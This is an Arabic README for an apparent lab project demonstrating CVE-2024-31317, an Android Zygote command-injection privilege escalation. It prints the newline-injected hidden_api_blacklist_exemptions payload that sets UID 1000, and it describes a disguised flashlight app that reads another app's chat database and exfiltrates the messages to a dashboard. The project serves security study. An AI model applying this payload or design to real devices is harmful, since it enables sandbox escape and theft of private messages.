🔥 ZygoteExploitDemo - معمل أمن أندرويد CVE-2024-31317

📋 نظرة عامة

يعرض هذا المختبر CVE-2024-31317، وهي ثغرة أمنية خطيرة في أندرويد تسمح لتطبيق ضار برفع صلاحياته إلى مستوى SYSTEM (UID 1000) وتجاوز حماية الصندوق الرملي (sandbox) لقراءة بيانات التطبيقات الأخرى في الوقت الفعلي.

🎯 ما يعرضه هذا العرض

🏗️ هيكل المشروع

ZygoteExploitDemo/
├── 📱 apps/
│   ├── SecureChat/              # Victim app (Jetpack Compose)
│   │   ├── Encrypted messages stored in SQLite
│   │   └── Simulates WhatsApp-style encryption
│   │
│   ├── FlashlightPro/           # Malicious app with exploit
│   │   ├── Normal flashlight UI (distraction)
│   │   ├── Background exploit service
│   │   └── WRITE_SECURE_SETTINGS permission
│   │
│   └── MonitorService/          # SYSTEM-level reader
│       ├── Runs with UID 1000 after exploit
│       ├── Reads SecureChat database
│       └── Exfiltrates to dashboard
│
├── 📊 dashboard/                # Flask web dashboard
│   └── app.py                   # Shows stolen messages live
│
├── 📜 scripts/                  # Automation scripts
│   ├── setup_vulnerable_emulator.sh
│   ├── build_all_apps.sh
│   ├── install_all_apps.sh
│   ├── run_exploit.py
│   └── monitor_logs.sh
│
├── 🎯 exploits/                 # Exploit information
│   ├── CVE-2024-31317.md
│   └── payloads.txt
│
└── 📁 tamplates/                # Code templates
    ├── exploit_template.java
    └── dashboard_template.html

🔧 التفاصيل التقنية

الثغرة

توجد ثغرة CVE-2024-31317 في كيفية تعامل عملية Zygote في أندرويد مع إعداد النظام hidden_api_blacklist_exemptions. بسبب نقص تنقية المدخلات، يمكن للمهاجم حقن أحرف سطر جديد لإضافة وسائط عشوائية إلى أوامر Zygote.

متجه الهجوم:

Settings.Global.putString(
    contentResolver,
    "hidden_api_blacklist_exemptions",
    "LClass1;->method1(\n" +
    "7\n" +
    "--setuid=1000\n" +     // Run as SYSTEM
    "--setgid=1000\n" +     // Run as SYSTEM group
    "--invoke-with\n" +
    "am start-service ...;\n"
);

الإصدارات المتأثرة

🚀 دليل البدء السريع

المتطلبات الأساسية

• ✅ Android Studio (أحدث إصدار)
• ✅ Python 3.8+ مع Flask
• ✅ Android SDK مع أدوات المنصة (platform tools)
• ✅ 10 جيجابايت مساحة خالية للـ emulator

الخطوة 1: استنساخ المستودع

git clone https://github.com/GitAmanS/ZygoteExploitDemo.git
cd ZygoteExploitDemo

الخطوة 2: إعداد المحاكي القابل للاختراق

cd scripts
chmod +x *.sh
./setup_vulnerable_emulator.sh

# Start the emulator
emulator -avd vulnerable_android_12

الخطوة 3: بناء وتثبيت التطبيقات

# In a new terminal
cd ZygoteExploitDemo/scripts
./build_all_apps.sh
./install_all_apps.sh

الخطوة 4: بدء لوحة التحكم

cd ../dashboard
pip3 install flask flask-cors
python3 app.py

📱 افتح http://localhost:5000 في متصفحك

الخطوة 5: تشغيل الاستغلال

cd ../scripts
python3 run_exploit.py

الخطوة 6: شاهد السحر ✨

1. افتح تطبيق SecureChat في المحاكي
2. أرسل بعض الرسائل الاختبارية
3. شاهد ظهورها على لوحة التحكم فورًا! 🔴

📸 فيديو توضيحي

🎬 فيديو توضيحي قريبًا

🔬 كيف يعمل - خطوة بخطوة

1. يطلب تطبيق FlashlightPro صلاحية WRITE_SECURE_SETTINGS
2. يقوم كود الاستغلال بحقن حمولة ضارة في إعدادات Zygote
3. يقوم Zygote بتشغيل MonitorService بصلاحيات SYSTEM (UID 1000)
4. تتجاوز خدمة SYSTEM قيود الصندوق الرملي لأندرويد
5. قراءة قاعدة البيانات مباشرة من /data/data/com.securechat/databases/
6. تسريب البيانات إلى لوحة التحكم Flask عبر HTTP POST
7. عرض فوري للرسائل المشفرة المسروقة

📚 موارد تعليمية

• نشرات أمن أندرويد
• تفاصيل CVE-2024-31317
• إثبات المفهوم الأصلي بواسطة CleoV2

🤝 المساهمة

المساهمات مرحب بها! يرجى:

1. تفريع (Fork) المستودع
2. إنشاء فرع ميزة
3. تقديم طلب سحب (Pull Request)

مجالات المساهمة:

• 🎯 حمولات استغلال إضافية
• 🛡️ طرق كشف أفضل
• 📖 توثيق محسّن
• 🌍 ترجمة للغات أخرى

📄 الترخيص

رخصة MIT - انظر ملف LICENSE للتفاصيل

👨‍💻 المؤلف

أمان - @GitAmanS

⭐ الدعم

إذا وجدت هذا تعليميًا، فضلاً أعطه نجمة! ⭐